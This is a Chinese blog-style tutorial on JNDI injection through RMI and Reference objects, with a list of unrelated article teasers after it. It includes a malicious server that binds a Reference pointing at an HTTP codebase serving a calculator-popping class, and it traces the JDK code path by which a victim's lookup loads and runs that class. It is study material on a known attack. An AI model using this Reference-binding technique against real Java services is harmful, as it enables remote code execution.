JNDI注入-RMI和Reference

news2024/11/13 8:03:31

参考博客:

JNDI注入与动态类加载

JNDI

Java命名和接口目录为用Java编程语言编写的应用程序提供命名和目录功能。

可以通过一种通用方式访问各种服务,类似通过名字查找对象的功能,和RMI有点类似。

原生JNDI支持RMI,LDAP,COS,DNS.

JNDI+RMI

JNDI结合RMI使用

RMIServer.java

package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        RemoteObjImpl remoteObj = new RemoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj",remoteObj);
    }
}

JNDIRMIServer.java

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
    }
}

JNDIRMIClient.java

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        remoteObj.sayHello("hello");
    }
}

自己可以运行下试试,不运行JNDIRMIServer.java的话,JNDI客户端一样可以获取到remoteObj服务端。

JNDI Reference(传统JNDI注入)

JNDIRMIServer.java

把引用Reference绑在RMI服务上

Test.class是弹计算器的,放在本地目录。python开启个http服务。

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();

        //Reference
        Reference refObj = new Reference("Test", "Test", "http://localhost:4444/");
        initialContext.rebind("rmi://localhost:1099/remoteObj", refObj);

    }
}

攻击场景:我们可以控制恶意服务端绑定一个恶意Reference,让受害端lookup这个reference就能实现攻击。

下面跟进一下JNDIRMIClient中IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");lookup方法的逻辑。

lookup最终调用到registry.lookup("remoteObj");

但是注意一下lookup函数返回的是一个ReferenceWrapper_Stub,而我们绑定时绑定的是Reference。

image-20240727174142434

再看下绑定时的逻辑

最终调用到registry.rebind();方法,注意到有个encodeObject处理。

image-20240727175743713

关于ReferenceWrapper_Stub,这个Stub得生成我debug了一下是在var1 = NamingManager.getStateToBind(var1, var2, this, this.environment); 里面生成的Stub。因为是结合的RMI,所以客户端是通过Stub和注册中心交流的(我是这么理解的)

private Remote encodeObject(Object var1, Name var2) throws NamingException, RemoteException {
    var1 = NamingManager.getStateToBind(var1, var2, this, this.environment);  
    if (var1 instanceof Remote) {
        return (Remote)var1;
    } else if (var1 instanceof Reference) {     //如果是Reference类型,则把它封装在ReferenceWrapper里面。
        return new ReferenceWrapper((Reference)var1);
    } else if (var1 instanceof Referenceable) {
        return new ReferenceWrapper(((Referenceable)var1).getReference());
    } else {
        throw new IllegalArgumentException("RegistryContext: object to bind must be Remote, Reference, or Referenceable");
    }
}

在继续看客户端lookup()

拿到ReferenceWrapper,进行decodeObject

在getObjectInstance方法时还没有进行初始化(执行调用计算器方法),而在NamingManager.getObjectInstance方法就跳出RegistryContext这个类了。所以说最终实现类加载的地方并不是在RMI里面

//RegistryContext
private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;  //表达式为真,执行getReference拿到Reference
        return NamingManager.getObjectInstance(var3, var2, this, this.environment); //注意这个getObjectInstance方法
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}

跟进NamingManager.getObjectInstance,需要关注的是factory = getObjectFactoryFromReference(ref, f);

//NamingManager.getObjectInstance
if (ref != null) {
    String f = ref.getFactoryClassName();
    if (f != null) {
        // if reference identifies a factory, use exclusively

        factory = getObjectFactoryFromReference(ref, f);    //从引用中获取工厂factory
        if (factory != null) {
            return factory.getObjectInstance(ref, name, nameCtx,
                                             environment);
        }
        // No factory found, so return original refInfo.
        // Will reach this point if factory class is not in
        // class path and reference does not contain a URL for it
        return refInfo;

    } else {
        // if reference has no factory, check for addresses
        // containing URLs

        answer = processURLAddrs(ref, name, nameCtx, environment);
        if (answer != null) {
            return answer;
        }
    }
}

跟进getObjectFactoryFromReference

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);    //尝试helper.loadClass加载类
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);  //通过codeBase加载类
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

跟进第一个clas = helper.loadClass(factoryName);

可以发现类加载用的是AppClassLoader,是在客户端本地进行类的寻找的,肯定是找不到返回null的。

image-20240727185208783

之后程序执行到第二个clas = helper.loadClass(factoryName, codebase);

这里涉及到了一个codeBase,也就是我们输入的http://localhost:4444/,实际上是一种URL。

之前RMI的使用中,客户端和服务端同时定义了相同的远程接口,那么如果客户端没有那个服务接口怎么办?codeBase就是为了解决这个问题的,客户端可以通过codeBase从URL里面加载类,这样一来客户端不需要定义远程接口了。

接下来看一下使用codeBase的类的加载

可以看到类加载器变为URLClassLoader,之前在双亲委派模型中也讲过URLClassLoader加载任意类。

image-20240727190534065

之后执行URLClassLoader.loadClass,调用Class<?> cls = Class.forName(className, true, cl);,第二个参数设置为true,也就是会在加载类时初始化我们的恶意类。我的恶意类执行计算器代码写在了静态代码块里,所以在loadClass初始化恶意类时,就打开了计算器。

image-20240727200940840

可以看到URLClassLoader查找类的路径,就是我们输入的codeBase

image-20240727201423198

如果弹计算器代码写在了构造函数里面,就在执行return (clas != null) ? (ObjectFactory) clas.newInstance() : null;实例化Test类时,弹计算器。

总结攻击面

  1. 之前观察到initialContext.lookup()方法时,最终会调用到registry.lookup()。bind和rebind也是一样的。所以远程RMI有的攻击点,这里也是有的
  2. 就是本节讲的Reference的攻击点。
    了构造函数里面,就在执行return (clas != null) ? (ObjectFactory) clas.newInstance() : null;实例化Test类时,弹计算器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1957479.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024最新前端学习路线指南!

2024最新前端学习路线指南&#xff01; 如果你正在寻找一份全面的前端学习路线图&#xff0c;那么这份精心打造的学习大纲恰好符合您的需求。无论您是新手还是经验丰富的开发者&#xff0c;这份路线图都能够帮助您系统地掌握前端开发的关键知识点&#xff0c;并在实践中不断提…

实验2-3-7 阶梯电价

//实验2-3-7 阶梯电价 /*为了提倡居民节约用电&#xff0c;某省电力公司执行“阶梯电价”&#xff0c; 安装一户一表的居民用户电价分为两个“阶梯”&#xff1a; 月用电量50千瓦时&#xff08;含50千瓦时&#xff09;以内的&#xff0c;电价为0.53元/千瓦时&#xff1b; 超过5…

java实现加水印功能

1-Word加水印 实现原理&#xff1a; ● 通过页眉页脚生成文字水印或图片水印&#xff0c;然后设置页眉页脚的高度以及旋转角度来设置水印。 源代码&#xff1a; 1、引入pom依赖 <dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml…

家具购物小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;家具分类管理&#xff0c;家具新品管理&#xff0c;订单管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;家具新品&#xff0c;家具公告&#xff0…

给配置环境变量的小白们的一个tips

告诉什么也不懂的计算机小白包括我&#xff0c;配置环境变量的时候&#xff0c;系统变量配置好之后&#xff0c;path变量一定要去users里加&#xff0c;不要在系统变量里加&#xff0c;不然查版本号的时候你就会像我一样在命令行里傻傻的 你加到系统变量的path后&#xff0c;在…

Linux网络——深入理解传入层协议TCP

目录 一、前导知识 1.1 TCP协议段格式 1.2 TCP全双工本质 二、三次握手 2.1 标记位 2.2 三次握手 2.3 捎带应答 2.4 标记位 RST 三、四次挥手 3.1 标记位 FIN 四、确认应答(ACK)机制 五、超时重传机制 六 TCP 流量控制 6.1 16位窗口大小 6.2 标记位 PSH 6.3 标记…

昇思25天学习打卡营第10天|xiaoyushao

从今天开始做一些实践应用&#xff0c;今天分享的是FCN图像语义分割。 全卷积网络&#xff08;Fully Convolutional Networks&#xff0c;FCN&#xff09;是UC Berkeley的Jonathan Long等人于2015年在Fully Convolutional Networks for Semantic Segmentation一文中提出的用于图…

值得买科技与MiniMax达成官方合作伙伴关系,共建融合生态

7月29日&#xff0c;值得买科技与大模型公司MiniMax宣布达成官方合作伙伴关系。 MiniMax旗下大模型产品海螺AI现已接入值得买“消费大模型增强工具集”&#xff0c;基于海螺AI比价策略&#xff0c;用户可通过海螺AI“悬浮球”功能实现快速比价及跳转购买。 此次合作也标志着值…

2023河南萌新联赛第(二)场 南阳理工学院

A. 国际旅行Ⅰ 题目&#xff1a; 思路&#xff1a; 因为题意上每个国家可以相互到达&#xff0c;所以只需要排序&#xff0c;输出第k小的值就可以了。 AC代码&#xff1a; #include<bits/stdc.h> #define int long long #define IOS ios::sync_with_stdio(0);cin.tie…

springboot短视频推荐系统-计算机毕业设计源码21503

摘 要 本论文基于协同过滤算法&#xff0c;旨在设计并实现一种基于SpringBoot框架的短视频推荐系统。该系统主要分为平台用户和管理员两类角色&#xff0c;用户可以注册、登录、浏览短视频内容&#xff0c;并根据个人兴趣收藏喜爱的视频。管理员则可以管理系统数据、用户和内容…

3.1.数据增广

数据增广 ​ 以图片为例&#xff0c;在不同的灯光&#xff0c;色温&#xff0c;以及灯光反射的影响下&#xff0c;对识别可能会造成很大影响。这时候我们希望样本有更多的多样性&#xff0c;则可以在语言里面加入各种不同的背景噪音&#xff0c;或者改变图片的颜色和形状 1.常…

【2024蓝桥杯/C++/B组/进制】

题目 代码 #include <bits/stdc.h> using namespace std;// 定义一个字符串 str&#xff0c;其内容为 "8100178706957568" string str "8100178706957568";// 函数 check 用于检查传入的字符串是否全部由数字组成 bool check(const string& st…

Java(二十七)---二叉搜索树以及Map和Set

文章目录 前言1.二叉搜索树1.1.概念1.2.操作--- 插入1.3.操作---搜索1.4.操作---删除1.6.性能分析1.7 和 java 类集的关系 2.搜索2.1.概念和场景2.2.模型 3.Map的使用3.1.关于Map的说明3.2.Map.Entry<K,V>的说明3.3.Map中常用的方法3.4.TreeMap的使用案例 4.Set的使用4.1…

探索 Milvus 存储系统:如何评估和优化 Milvus 存储性能

欢迎来到探索 Milvus 系列。Milvus 是一款支持水平扩展和具备出色性能的开源向量数据库。Milvus 的核心是其强大的存储系统&#xff0c;是数据持久化和存储的关键基础。该系统包括几个关键组成部分&#xff1a;元数据存储&#xff08;meta storage&#xff09;、消息存储&#…

Vs2022+QT+Opencv 一些需要注意的地方

要在vs2022创建QT项目&#xff0c;先要安装一个插件Qt Visual Studio Tools&#xff0c;根据个人经验选择LEGACY Qt Visual Studio Tools好一些&#xff0c;看以下内容之前建议先在vs2022中配置好opencv&#xff0c;配置方式建议以属性表的形式保存在硬盘上。 设置QT路径 打开v…

数学建模--差值算法

目录 插值方法的种类 应用实例 编程实现 算法实现 拉格朗日插值算法 ​编辑 多项式差值算法 样条插值 牛顿插值算法 插值算法在数据预测中的最新应用和案例研究是什么&#xff1f; 如何比较不同插值方法&#xff08;如线性插值、多项式插值&#xff09;在实际工程问…

bjtu数据库课程设计--基于Spring Boot框架的门店点餐系统

一、安装与配置 1 安装与配置 下载IntelliJ IDEA&#xff0c;需要下载安装jdk1.8.0_152&#xff0c;安装tomcat-9.0.88&#xff0c;安装MySQL8.0数据库。安装成功后打开IntelliJ IDEA&#xff0c;使用 Spring Boot 2.6.13框架&#xff0c;服务器URL窗口使用start.aliyun.com&a…

AI副业玩法:开启你的智能赚钱之路

在这个数码时代&#xff0c;人工智能&#xff08;AI&#xff09;已经不仅仅是科技巨头的专利&#xff0c;它逐渐渗透到我们生活的方方面面。如今&#xff0c;越来越多的人开始利用AI技术进行副业尝试&#xff0c;既拓宽了收入来源&#xff0c;也提升了自我技能。那么&#xff0…

【前端 07】JavaScript中的数组对象

JavaScript中的数组对象 在JavaScript中&#xff0c;数组&#xff08;Array&#xff09;对象是一种非常基础且强大的数据结构&#xff0c;用于在单个变量中存储多个值。这些值可以是任何数据类型&#xff0c;包括数字、字符串、甚至是其他数组&#xff08;多维数组&#xff09…

实验2-4-2 求N分之一序列前N项和**注意小细节

//实验2-4-2 求N分之一序列前N项和//计算序列 1 1/2 1/3 ... 的前N项之和。#include<stdio.h> #include<math.h> int main(){int N;double sum0.0;scanf("%d",&N);for(int a1;a<N;a)sum(1.0/a);//这里必须是1.0 不可以是1&#xff01;&#x…